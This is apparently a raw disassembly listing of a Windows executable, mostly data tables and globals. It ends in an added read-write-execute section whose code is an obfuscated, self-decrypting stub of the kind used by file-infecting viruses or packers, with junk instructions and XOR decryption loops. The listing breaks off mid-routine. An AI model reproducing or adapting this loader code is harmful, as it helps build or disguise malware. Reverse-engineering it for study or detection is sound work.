dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_42DD20 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_41D7AC+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh, 0
off_42DE80 dd offset off_41FCAC ; DATA XREF: seg001:off_41FCD0o
; seg001:0041FDFCo ...
align 8
a_?avexception@ db '.?AVexception@@',0
off_42DE98 dd offset off_41FCAC ; DATA XREF: seg001:off_41FCE8o
; seg001:0041FD7Co ...
align 10h
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_42DEB8 dd offset off_41FCAC ; DATA XREF: seg001:off_41FD00o
; seg001:0041FD44o ...
align 10h
a_?avlength_err db '.?AVlength_error@std@@',0
align 4
off_42DED8 dd offset off_41FCAC ; DATA XREF: seg001:off_41FD88o
; seg001:0041FDCCo ...
align 10h
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_42DEF8 dd offset off_41FCAC ; DATA XREF: seg001:off_41FE08o
; seg001:0041FE44o
align 10h
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_41BF92
dd 10Ah dup(0)
dword_42E33C dd 2 dup(0) dword_42E344 dd 0 ; seg000:00410ED0o ...
byte_42E348 db 0 ; DATA XREF: sub_4031F5+10o
; sub_404FC5+74o ...
align 4
dword_42E34C dd 0 ; sub_403EB4+51r ...
dword_42E350 dd 0 ; seg000:0040391Cw ...
align 8
dword_42E358 dd 0 ; sub_405AFA+92w ...
dword_42E35C dd 0 ; sub_405E47+D9w ...
dd 256h dup(0)
dword_42ECB8 dd 7 dup(0) ; sub_405C33+138o ...
dword_42ECD4 dd 83h dup(0) dword_42EEE0 dd 0 dword_42EEE4 dd 0 dd 24h dup(0)
dword_42EF78 dd 0 ; sub_40571E+32Eo
dword_42EF7C dd 0A2h dup(0) dword_42F204 dd 41h dup(0) dword_42F308 dd 0 ; sub_40571E+2E1r
align 10h
dword_42F310 dd 0 ; sub_40571E+340r
dword_42F314 dd 0 dword_42F318 dd 0 dword_42F31C dd 0 dd 0
dword_42F324 dd 0 dd 0AAh dup(0)
dword_42F5D0 dd 0 ; sub_406E9A+4CDr
dword_42F5D4 dd 0 ; sub_412136+F5r
dword_42F5D8 dd 0 ; sub_406E9A+862r ...
dword_42F5DC dd 0 ; sub_406E9A+A18r ...
dword_42F5E0 dd 0 ; sub_406E9A+9E8r ...
dword_42F5E4 dd 0 ; sub_406E9A+4BDr
dword_42F5E8 dd 0 ; sub_4021FB+109r ...
dword_42F5EC dd 0 ; sub_406E9A+A10r ...
dword_42F5F0 dd 0 ; sub_406E9A+3A9r ...
dword_42F5F4 dd 0 ; sub_408F79+11Er
dword_42F5F8 dd 0 ; sub_406E9A+3B1r ...
dword_42F5FC dd 0 ; sub_411724+ADr
dword_42F600 dd 0 ; seg000:004069F8r ...
dword_42F604 dd 0 ; sub_406E9A+D2r ...
dword_42F608 dd 0 ; sub_406E9A+9DBr ...
dword_42F60C dd 0 ; sub_406E9A+3C9r ...
dword_42F610 dd 0 ; sub_406E9A+88Er ...
dword_42F614 dd 0 ; sub_406E9A+2A5w ...
dword_42F618 dd 0 ; sub_406E9A+886r ...
dword_42F61C dd 0 dword_42F620 dd 0 ; sub_406E9A+896r ...
dword_42F624 dd 0 ; sub_406E9A+52Fw ...
dword_42F628 dd 0 ; sub_406E9A+CAr ...
dword_42F62C dd 0 ; seg000:004087D9r
dword_42F630 dd 0 ; sub_406E9A+A6Dr ...
dword_42F634 dd 0 ; sub_406E9A+F2r
dword_42F638 dd 0 ; sub_406E9A+4B5r
dword_42F63C dd 0 ; sub_406E9A+5D8w ...
dword_42F640 dd 0 ; sub_406E9A+A08r
dword_42F644 dd 0 ; sub_406E9A+5CBw ...
dword_42F648 dd 0 dword_42F64C dd 0 ; sub_406E9A+84Fr ...
dword_42F650 dd 0 ; sub_40829B+15r
dword_42F654 dd 0 ; sub_406E9A+9F0r ...
dword_42F658 dd 0 ; sub_406E9A+3B9r ...
dword_42F65C dd 0 ; sub_406E9A+3C1r ...
dword_42F660 dd 0 ; sub_406E9A+C5Dr
dword_42F664 dd 0 dword_42F668 dd 0 ; sub_4018CA:loc_401B70r ...
dword_42F66C dd 0 dword_42F670 dd 0 ; sub_406E9A+A20r ...
dword_42F674 dd 0 ; sub_406E9A+2DEr ...
dword_42F678 dd 0 ; sub_406E9A+DAr ...
dword_42F67C dd 0 ; sub_406E9A+B75r ...
dword_42F680 dd 0 ; sub_4018CA+2Fr ...
dword_42F684 dd 0 ; sub_406E9A+872r ...
dword_42F688 dd 0 ; sub_406E9A+9F8r
dword_42F68C dd 0 ; sub_406E9A+C10r
dword_42F690 dd 0 ; sub_4021FB+63r ...
dword_42F694 dd 0 ; sub_406E9A+910r ...
dword_42F698 dd 0 dword_42F69C dd 0 ; seg000:00401483r ...
dword_42F6A0 dd 0 ; sub_406E9A+855r
dword_42F6A4 dd 0 ; sub_4021FB+78r ...
dword_42F6A8 dd 0 ; sub_406E9A+1C2r
dword_42F6AC dd 0 ; sub_406E9A+786r ...
dword_42F6B0 dd 0 ; sub_404FC5+62r ...
dword_42F6B4 dd 0 ; sub_406E9A+549w ...
dword_42F6B8 dd 0 ; sub_406E9A:loc_407775w ...
dword_42F6BC dd 0 ; sub_406E9A+2C6r ...
dword_42F6C0 dd 0 ; sub_406E9A+681w ...
dword_42F6C4 dd 0 ; sub_406E9A+323r ...
dword_42F6C8 dd 0 ; sub_406E9A+3D1r ...
dword_42F6CC dd 0 ; sub_406E9A+C08r
dword_42F6D0 dd 0 ; sub_406E9A+86Ar ...
dword_42F6D4 dd 0 ; sub_406E9A+206w ...
dword_42F6D8 dd 0 ; sub_406E9A+1D2r ...
dword_42F6DC dd 0 ; sub_406E9A+87Ar ...
dword_42F6E0 dd 0 ; sub_406E9A+606w ...
dword_42F6E4 dd 0 ; sub_406E9A+2BFw ...
dword_42F6E8 dd 0 ; seg000:004014F1r ...
dword_42F6EC dd 0 ; sub_406E9A+316r ...
dword_42F6F0 dd 0 ; seg000:004052E2r ...
dword_42F6F4 dd 0 ; sub_406E9A+490r
dword_42F6F8 dd 0 ; sub_406E9A+1DAr ...
dword_42F6FC dd 0 ; sub_406E9A+39Cr ...
dword_42F700 dd 0 dword_42F704 dd 0 ; seg000:004012ABr ...
dword_42F708 dd 0 ; seg000:0040114Fr ...
dword_42F70C dd 0 ; sub_406E9A+C2r ...
dword_42F710 dd 0 ; sub_406E9A+4ADr
dword_42F714 dd 0 ; sub_406E9A+1BAr ...
dword_42F718 dd 0 ; seg000:0041207Fr
dword_42F71C dd 0 ; sub_406E9A+78Er
dword_42F720 dd 0 ; sub_402E17+75r ...
dword_42F724 dd 0 ; sub_406E9A+C18r
dword_42F728 dd 0 ; sub_406E9A+BAr ...
dword_42F72C dd 0 ; sub_406E9A+2CEr ...
dword_42F730 dd 0 ; sub_4060A6+9Cr ...
dword_42F734 dd 0 ; sub_403FCB+89r ...
dword_42F738 dd 0 dword_42F73C dd 0 ; sub_4092F3+205r ...
dword_42F740 dd 0 dword_42F744 dd 0 ; sub_406E9A+BF3r
dword_42F748 dd 0 ; seg000:00401DB4r ...
dword_42F74C dd 0 ; sub_406E9A+49Dr
dword_42F750 dd 0 ; sub_406E9A+4C5r
dword_42F754 dd 0 ; sub_406E9A+4A5r
dword_42F758 dd 0 ; sub_402E96+35r ...
dword_42F75C dd 0 ; sub_406E9A+1E2r ...
dword_42F760 dd 0 ; sub_406E9A+A28r ...
dword_42F764 dd 0 ; sub_406E9A+1ADr ...
dword_42F768 dd 0 ; sub_406E9A+E2r ...
dword_42F76C dd 0 ; seg000:00401FF8r ...
dword_42F770 dd 0 ; sub_406E9A+B30r
dword_42F774 dd 0 ; sub_4120CB+55r
dword_42F778 dd 0 ; sub_406E9A+27Ew ...
dword_42F77C dd 0 dword_42F780 dd 0 ; sub_40853B+CEr
dword_42F784 dd 0 ; sub_406E9A+AB7r ...
dword_42F788 dd 0 ; seg000:00401C2Br ...
dword_42F78C dd 0 ; sub_406E9A+674w ...
dword_42F790 dd 0 ; sub_406E9A+C00r
dword_42F794 dd 0 ; seg000:00405336r ...
dword_42F798 dd 0 ; sub_406E9A+A00r ...
dword_42F79C dd 0 ; sub_4060A6+B3r ...
dword_42F7A0 dd 0 ; sub_4018CA+29Fr ...
dword_42F7A4 dd 0 ; sub_403FCB+39Fr ...
dword_42F7A8 dd 0 ; sub_406E9A+B28r
dword_42F7AC dd 0 ; sub_4018CA+4Fr ...
dword_42F7B0 dd 0 ; sub_406E9A+B1Br
dword_42F7B4 dd 0 ; sub_406E9A+ADr ...
dword_42F7B8 dd 0 ; sub_406E9A+1CAr
align 10h
dword_42F7C0 dd 0 ; sub_406E9A+91Dr ...
dword_42F7C4 dd 0 ; sub_406E9A+EAr ...
dword_42F7C8 dd 0 ; sub_406E9A+12Bw ...
dword_42F7CC dd 0 ; sub_407B27+1Cr
dword_42F7D0 dd 0 ; sub_406E9A:loc_4070EFw ...
dword_42F7D4 dd 0 ; sub_407B27+50r
dword_42F7D8 dd 0 ; sub_406E9A:loc_4071C9w ...
dword_42F7DC dd 0 ; sub_407B27+84r
dword_42F7E0 dd 0 ; sub_407B27:loc_407BD7r
dword_42F7E4 dd 0 ; sub_407B27+B8r
dword_42F7E8 dd 0 ; sub_407B27:loc_407C0Br
dword_42F7EC dd 0 ; sub_407B27+ECr
dword_42F7F0 dd 0 ; sub_406E9A+8D1w ...
dword_42F7F4 dd 0 ; sub_407B27+120r
dword_42F7F8 dd 0 ; sub_407B27:loc_407C73r ...
dword_42F7FC dd 0 ; sub_407B27+154r
dword_42F800 dd 0 ; sub_407B27:loc_407CA7r ...
dword_42F804 dd 0 ; sub_407B27+188r
dword_42F808 dd 0 ; sub_407B27:loc_407CDBr
dword_42F80C dd 0 ; sub_407B27+1BCr
dword_42F810 dd 0 ; sub_407B27:loc_407D0Fr
dword_42F814 dd 0 ; sub_407B27+1F0r
dword_42F818 dd 0 ; sub_407B27:loc_407D43r
dword_42F81C dd 0 ; sub_407B27+224r
dword_42F820 dd 0 ; sub_407B27:loc_407D77r
dword_42F824 dd 0 ; sub_407B27+258r
dword_42F828 dd 0 ; sub_407B27:loc_407DABr
dword_42F82C dd 0 ; sub_407B27+28Cr
dword_42F830 dd 0 ; sub_407B27:loc_407DDFr
dword_42F834 dd 0 ; sub_407B27+2C0r
dd 81h dup(0)
dword_42FA3C dd 5 dup(0) dword_42FA50 dd 0 ; seg000:00408BA4r
dword_42FA54 dd 0 ; seg000:00408B87r ...
dword_42FA58 dd 0 ; seg000:00408D28o
dword_42FA5C dd 0 dword_42FA60 dd 0Dh dup(0) dword_42FA94 dd 0 ; seg000:00408C3Cr ...
dd 0
dword_42FA9C dd 0Eh dup(0) dword_42FAD4 dd 1000h dup(0) ; sub_4096B5o ...
dword_433AD4 dd 0 ; sub_4096B5+Eo ...
dword_433AD8 dd 10h dup(0) dword_433B18 dd 0 ; seg000:00409561r ...
dd 5 dup(0)
dword_433B30 dd 0 ; seg000:0040BF23r
dd 2D9h dup(0)
dword_434698 dd 0 ; seg000:0040954Ao ...
dd 7Fh dup(0)
dword_434898 dd 0 ; sub_413194+40w ...
dword_43489C dd 0 ; sub_405C33:loc_405C7Ar ...
dword_4348A0 dd 0 ; sub_413194+3Ar ...
dword_4348A4 dd 0 ; sub_403FCB+7Ew ...
dword_4348A8 dd 0 ; seg000:00406468r ...
dword_4348AC dd 0 ; sub_40571E+34Ew ...
byte_4348B0 db 0 ; DATA XREF: sub_40B07B+91o
; seg000:0040E586r ...
align 4
dd 265h dup(0)
db 0
byte_435249 db 3 dup(0) ; DATA XREF: seg002:off_4224E4o
dd 4141h dup(0)
dword_445750 dd 610Eh dup(0) dword_45DB88 dd 0 ; seg000:0040AB5Aw ...
align 10h
dword_45DB90 dd 0 dword_45DB94 dd 20h dup(0) ; seg000:0040AFDEo ...
dword_45DC14 dd 10h dup(0) ; seg000:0040BC78o
dword_45DC54 dd 24h dup(0) dword_45DCE4 dd 0 ; seg000:0040AFF5w ...
dword_45DCE8 dd 0 dd 3 dup(0)
dword_45DCF8 dd 0 dword_45DCFC dd 0 ; seg000:0040B5D1r
byte_45DD00 db 0 ; DATA XREF: sub_40B1E3+28r
; sub_40B1E3+30o
align 8
dword_45DD08 dd 0 ; seg000:0040AFA9r ...
dword_45DD0C dd 0 ; seg000:0040BC1Cr
dword_45DD10 dd 17h dup(0) ; sub_411274+131o ...
dword_45DD6C dd 7 dup(0) ; seg000:004120B2o
dword_45DD88 dd 0 ; sub_4132C0+19o
dword_45DD8C dd 78h dup(0) dword_45DF6C dd 0 ; sub_4115EE+4Dr ...
dword_45DF70 dd 17h dup(0) ; sub_411ED9+12Do
dword_45DFCC dd 80h dup(0) ; sub_41152F+7Do ...
byte_45E1CC db 0 ; DATA XREF: sub_4115EE+29r
; sub_4115EE+34w
align 10h
dword_45E1D0 dd 80h dup(0) ; sub_411845+88o ...
dword_45E3D0 dd 81h dup(0) ; sub_41114B+50o ...
dword_45E5D4 dd 84h dup(0) dword_45E7E4 dd 0 dd 6 dup(0)
dword_45E800 dd 0 ; sub_414D28+91w
dword_45E804 dd 0 ; sub_414ECE:loc_414F4Aw ...
dword_45E808 dd 0 ; sub_41665B:loc_4166F5w ...
dword_45E80C dd 0 dword_45E810 dd 0 dword_45E814 dd 0 dword_45E818 dd 0 dword_45E81C dd 0 dword_45E820 dd 0 ; sub_41A963+91w
dword_45E824 dd 0 ; seg000:0040AE29r ...
dd 0
dword_45E82C dd 0 ; sub_41D499+9r ...
dword_45E830 dd 0 dword_45E834 dd 0 ; sub_41D867+4r ...
dd 0
dword_45E83C dd 0 dd 0
byte_45E844 db 0 ; DATA XREF: sub_4158D9+2Dw
; sub_41B20B+5r
align 4
dword_45E848 dd 0 dword_45E84C dd 0 ; sub_4158D9+8Bw
dword_45E850 dd 0 ; sub_41A8AA:loc_41A8BCr ...
align 8
dword_45E858 dd 0 dword_45E85C dd 0 dd 0
dword_45E864 dd 0 ; sub_41556F:loc_41566Br ...
dword_45E868 dd 0 dword_45E86C dd 0 ; sub_4181AA+1Ar ...
byte_45E870 db 0 ; DATA XREF: sub_4180A6+3r
; sub_4180A6+98r ...
align 4
dword_45E874 dd 0 ; sub_418288+21w ...
byte_45E878 db 0 ; DATA XREF: sub_418288+51w
align 4
dword_45E87C dd 0 ; sub_418859+3Ar ...
dword_45E880 dd 0 ; sub_418859+43r ...
dword_45E884 dd 0 ; sub_418625+5r
dword_45E888 dd 0 dword_45E88C dd 0 ; seg000:00419E4Dw ...
dd 2 dup(0)
dword_45E898 dd 0 ; sub_415223+9Dr ...
dd 3 dup(0)
dword_45E8A8 dd 0 ; sub_415A89+BFr ...
align 10h
dword_45E8B0 dd 0 ; sub_41A1E9+4w ...
dword_45E8B4 dd 0 ; sub_41A6CE+46w ...
dword_45E8B8 dd 41h dup(0) dword_45E9BC dd 0 ; sub_41ABB0+23w ...
dword_45E9C0 dd 0 dword_45E9C4 dd 0 ; sub_416910+154w ...
dword_45E9C8 dd 0 ; seg000:loc_41B2F1w
dword_45E9CC dd 0 word_45E9D0 dw 0 ; DATA XREF: sub_41BE6F+1Ao
; sub_41BE6F+46r
byte_45E9D2 db 0 ; DATA XREF: sub_41BE6F+39r
align 4
dword_45E9D4 dd 7 dup(0) dword_45E9F0 dd 0 ; sub_41BE6F+5Co
dword_45E9F4 dd 0 dword_45E9F8 dd 0 dword_45E9FC dd 0 dword_45EA00 dd 0 ; sub_41BF92+38r ...
align 8
dword_45EA08 dd 0 ; sub_41C1F2+63w ...
align 10h
dword_45EA10 dd 0 ; sub_41C1F2+46r
dword_45EA14 dd 10h dup(0) word_45EA54 dw 0 ; DATA XREF: sub_41C450+A8r
word_45EA56 dw 0 ; DATA XREF: sub_41C1F2+54r
; sub_41C450+DBr ...
word_45EA58 dw 0 ; DATA XREF: sub_41C450+CAr
word_45EA5A dw 0 ; DATA XREF: sub_41C450+D3r
; sub_41C450:loc_41C542r
word_45EA5C dw 0 ; DATA XREF: sub_41C450+C0r
word_45EA5E dw 0 ; DATA XREF: sub_41C450+B8r
word_45EA60 dw 0 ; DATA XREF: sub_41C450+B0r
word_45EA62 dw 0 ; DATA XREF: sub_41C450+9Er
dword_45EA64 dd 0 dword_45EA68 dd 10h dup(0) word_45EAA8 dw 0 ; DATA XREF: sub_41C450+46r
word_45EAAA dw 0 ; DATA XREF: sub_41C1F2:loc_41C269r
; sub_41C450+78r ...
word_45EAAC dw 0 ; DATA XREF: sub_41C450+67r
word_45EAAE dw 0 ; DATA XREF: sub_41C450+70r
; sub_41C450:loc_41C4D4r
word_45EAB0 dw 0 ; DATA XREF: sub_41C450+5Dr
word_45EAB2 dw 0 ; DATA XREF: sub_41C450+55r
word_45EAB4 dw 0 ; DATA XREF: sub_41C450+4Dr
word_45EAB6 dw 0 ; DATA XREF: sub_41C450+3Er
dword_45EAB8 dd 0 dword_45EABC dd 0 ; sub_41C1F2:loc_41C33Er ...
dword_45EAC0 dd 0 dword_45EAC4 dd 0 ; seg000:0041C7ACw ...
dword_45EAC8 dd 0 ; seg000:loc_41C7CDr
dword_45EACC dd 0 ; seg000:0041C7DEr
dword_45EAD0 dd 0 dword_45EAD4 dd 0 ; sub_41D327+6Do
dword_45EAD8 dd 0 ; sub_41D327+44o
dword_45EADC dd 0 ; sub_41D327+37o
dword_45EAE0 dd 0 ; sub_41D327+51o
align 8
dword_45EAE8 dd 0 ; sub_41D8D5+48w ...
byte_45EAEC db 0 ; DATA XREF: sub_40388Fr sub_40388F+9w ...
align 10h
dword_45EAF0 dd 0 ; sub_416A80+14r ...
align 10h
dword_45EB00 dd 400h dup(0) ; seg002:0042D7F0o
dword_45FB00 dd 0 ; sub_4167D9+56r ...
dd 7 dup(0)
dword_45FB20 dd 0 ; sub_419940+75r ...
dword_45FB24 dd 3Fh dup(0) dword_45FC20 dd 0 ; sub_419A19+Cr ...
dword_45FC24 dd 0 ; seg000:0041A0B5w ...
align 10h
dword_45FC30 dd 3 dup(0) ; seg000:0041A1C1o ...
dword_45FC3C dd 0 ; seg000:0041A1ADw ...
byte_45FC40 db 0 ; DATA XREF: seg000:loc_41A39Bw
; seg000:loc_41A3B8w ...
align 4
dd 3Fh dup(0)
byte_45FD40 db 0 ; DATA XREF: seg000:0041A0ACo
; seg000:0041A0FFo ...
byte_45FD41 db 0 ; DATA XREF: sub_4153D8+5Dr
; seg000:0041A0F0w ...
align 4
dd 40h dup(0)
dword_45FE44 dd 0 ; seg000:0041A17Bw ...
dword_45FE48 dd 0 ; sub_4171EC+5r ...
dword_45FE4C dd 0 ; sub_416BB8+259r ...
dword_45FE50 dd 0 ; sub_416BB8+310w ...
dword_45FE54 dd 0 ; sub_416BB8+22Cr ...
dword_45FE58 dd 0 ; sub_416B8Dr ...
dword_45FE5C dd 0 ; sub_416B8D+8r ...
dword_45FE60 dd 0 ; sub_413ED3+21r ...
dword_45FE64 dd 0 ; sub_41A852+Fr ...
dword_45FE68 dd 0 ; sub_41D499r
dword_45FE6C dd 0 ; sub_41A414+11w ...
dword_45FE70 dd 0 ; sub_414863:loc_4148A5r ...
dword_45FE74 dd 0 ; sub_414863+Cr ...
byte_45FE78 db 0 ; DATA XREF: sub_41E154+15r
; sub_41E154+1Ew
align 200h
seg002 ends
; Section 4. (virtual address 00060000)
; Virtual size : 0001B000 ( 110592.)
; Section size in file : 0001B000 ( 110592.)
; Offset to raw data for section: 00060000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_data segment para public 'CODE' use32
assume cs:_data
;org 460000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
db 90h
; ---------------------------------------------------------------------------
pusha
call loc_46000A
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
jmp short loc_46000E
; ---------------------------------------------------------------------------
loc_46000A: ; CODE XREF: .data:00460002j
pop ebp
inc ebp
push ebp
retn
; ---------------------------------------------------------------------------
loc_46000E: ; CODE XREF: .data:00460008j
call loc_460014
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_460014: ; CODE XREF: .data:loc_46000Ej
pop ebp
mov ebx, 0FFFFFFEDh
add ebx, ebp
sub ebx, 60000h
cmp byte ptr [ebp+4Dh], 1
jnz short loc_460034
mov esi, [esp+28h]
cmp esi, 1
mov [ebp+4Eh], ebx
jnz short loc_460065
loc_460034: ; CODE XREF: .data:00460026j
lea eax, [ebp+53h]
push eax
push ebx
push dword ptr [ebp+9EDh]
lea eax, [ebp+35h]
push eax
jmp loc_4600CA
; ---------------------------------------------------------------------------
dd 3D0000h, 30000h, 7C809AE4h, 3FE000h, 7C801D77h, 7C80B6A1h
dd 0
db 0
; ---------------------------------------------------------------------------
loc_460065: ; CODE XREF: .data:00460032j
mov eax, 23A5C0F8h
push eax
push eax
add eax, [ebp+4Eh]
pop ebx
test eax, eax
jz short loc_460090
jmp short loc_460077
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_460077: ; CODE XREF: .data:00460074j
cmp ebx, 23A5C0F8h
jz short loc_4600B4
xor edx, edx
push esi
push 0
push esi
push dword ptr [ebp+4Eh]
call eax
pop esi
cmp esi, 0
jnz short loc_4600B4
loc_460090: ; CODE XREF: .data:00460072j
xor edx, edx
mov eax, [ebp+41h]
test eax, eax
jz short loc_4600A0
push edx
push edx
push dword ptr [ebp+35h]
call eax
loc_4600A0: ; CODE XREF: .data:00460097j
mov eax, [ebp+35h]
test eax, eax
jz short loc_4600B4
push 8000h
push 0
push dword ptr [ebp+35h]
call dword ptr [ebp+3Dh]
loc_4600B4: ; CODE XREF: .data:0046007Dj
; .data:0046008Ej ...
pop ebx
or ebx, ebx
popa
jnz short loc_4600C0
push 1
pop eax
retn 0Ch
; ---------------------------------------------------------------------------
loc_4600C0: ; CODE XREF: .data:004600B8j
xor eax, eax
neg eax
sbb eax, eax
inc eax
retn 0Ch
; ---------------------------------------------------------------------------
loc_4600CA: ; CODE XREF: .data:00460043j
jmp loc_4600DC
; ---------------------------------------------------------------------------
db 1
dd 3D94E7A6h, 39008332h, 0F52CDF7Eh
; ---------------------------------------------------------------------------
loc_4600DC: ; CODE XREF: .data:loc_4600CAj
call sub_4600F0
sti
sbb [ecx+56h], dh
xlat
les ebp, [ebp-56CF8C1Eh]
db 2Eh
iret
; ---------------------------------------------------------------------------
dw 655Ch
; =============== S U B R O U T I N E =======================================
sub_4600F0 proc near ; CODE XREF: .data:loc_4600DCp
push eax
mov dx, 9FF4h
pop edi
pop ebx
push 7CDDC760h
mov ecx, edx
pop edi
add ebx, 8B5h
add ecx, 1DA1EE24h
mov esi, 5F506B42h
xor esi, 5F506AB9h
movzx edi, bx
loc_460119: ; CODE XREF: .data:0046019Ej
mov eax, [ebx]
adc dx, 0F3FDh
xor eax, 6AEEFF93h
sbb dx, 689Fh
sub eax, 5853CBD0h
call near ptr loc_460140+5
mov ebx, 971631D8h
test [ebp-5Eh], ch
xor esi, eax
loc_460140: ; CODE XREF: sub_4600F0+41p
imul ebp, esi, 0E9251C8Fh
sub_4600F0 endp ; sp-analysis failed
or eax, 0A1000000h
mov byte ptr [edi+2352DDB4h], 20h
fstp dword ptr [esi+5F954C7Fh]
sub eax, 16A757C9h
mov edx, 60842A02h
push eax
mov dh, 0A6h
pop dword ptr [ebx]
mov edi, ecx
sub ebx, 1DA8D767h
add ebx, 1DA8D763h
xor di, 382Dh
sub esi, 1
jnz loc_46019B
movzx edx, bx
jmp loc_4601AE
; ---------------------------------------------------------------------------
dd 8661C86Bh, 129D7447h, 5E99E0E3h
; ---------------------------------------------------------------------------
aas
or al, 55h
loc_46019B: ; CODE XREF: .data:0046017Ej
mov di, cx
jmp loc_460119
; ---------------------------------------------------------------------------
aaa
movsb
or eax, 910D3C2h
push cs
das
cmp al, 0C5h
loc_4601AE: ; CODE XREF: .data:00460187j
add edx, 372E356Dh
call near ptr loc_4601BB+5
xor esi, eax
loc_4601BB: ; CODE XREF: .data:004601B4p
imul ebp, esi, 0F251C8Fh
mov bh, 0D2h
pop esi
mov dh, ch
add esi, 7DDh
jmp loc_4601E5
; ---------------------------------------------------------------------------
db 4Ch, 95h, 0AAh
dd 7611389Bh, 24DE477h, 4E495013h, 5A057C6Fh
db 8Bh
; ---------------------------------------------------------------------------
loc_4601E5: ; CODE XREF: .data:004601CCj
xor ebx, ebx
add edx, 3CED04BDh
loc_4601ED: ; CODE XREF: .data:00460244j
mov edi, [esi+ebx]
sbb ch, 0Ah
sub edi, 6D3AC53Eh ; CODE XREF: .data:00460257j
; .data:0046025Bj
movsx eax, ax
xor edi, 36130F9Fh
and cx, 0EDDCh
sub edi, 48DA48ECh
jz loc_460217
mov cx, 0A59Dh
loc_460217: ; CODE XREF: .data:0046020Dj
mov [esi+ebx], edi
mov edx, 3816355Eh
sbb dh, 5Bh
sub ebx, 0DFE7D1h
push esi
push 2E4B9DD3h
adc eax, 1801E11Ah
pop eax
pop edx
add ebx, 0DFE7CDh
mov dl, 7Ah
cmp ebx, 0FFFFF8B4h
jnz loc_4601ED
mov ax, 863Bh
xor dh, 61h
call sub_460261
inc edi
jz short near ptr loc_4601F3+3
adc ah, bl
loopne near ptr loc_4601F3+3
pop esi
aas
or al, 55h
; =============== S U B R O U T I N E =======================================
sub_460261 proc near ; CODE XREF: .data:00460251p
xor si, 8236h
pop edi
add edx, 313ACDD3h
add edi, 73Dh
push 1ABh
pop eax
loc_460279: ; CODE XREF: sub_460261+7Ej
mov ecx, [edi]
mov ebx, 548EEA40h
sub ecx, 7065472Dh
ja loc_460298
push 21BCB4CAh
jb $+6
pop esi
loc_460298: ; CODE XREF: sub_460261+25j
xor ecx, 309D3462h
mov dh, 3Fh
xor ecx, 7EB159F3h
mov dx, cx
mov [edi], ecx
mov edx, 43E0601Eh
sub edi, 2
jle loc_4602BB
mov bl, cl
loc_4602BB: ; CODE XREF: sub_460261+52j
dec edi
dec edi
mov bx, dx
sub eax, 1
jnz loc_4602DC
mov bh, ah
jmp loc_4602EB
; ---------------------------------------------------------------------------
dd 83323D94h, 0DF7E3900h, 0FB8AF52Ch
; ---------------------------------------------------------------------------
loc_4602DC: ; CODE XREF: sub_460261+62j
movzx edx, dx
jmp loc_460279
; ---------------------------------------------------------------------------
dd 2EA93073h
db 0CFh, 5Ch, 65h
; ---------------------------------------------------------------------------
loc_4602EB: ; CODE XREF: sub_460261+6Aj
call sub_4602F6
cmpsw
push esp
std
repne inc ebx
sub_460261 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4602F6 proc near ; CODE XREF: sub_460261:loc_4602EBp
jmp sub_46030E
sub_4602F6 endp
; ---------------------------------------------------------------------------
db 9Fh
dd 0BB4AB5ECh, 971631D8h, 33A26D84h, 8FEE69F0h
; ---------------------------------------------------------------------------
sbb al, 25h
; =============== S U B R O U T I N E =======================================
sub_46030E proc near ; CODE XREF: sub_4602F6j
pop esi
push 5F81CF08h
jmp loc_460325
; ---------------------------------------------------------------------------
mov ah, 0DDh
push edx
and esp, [eax]
fstp dword ptr [esi-556AB381h]
wait
loc_460325: ; CODE XREF: sub_46030E+6j
pop ecx
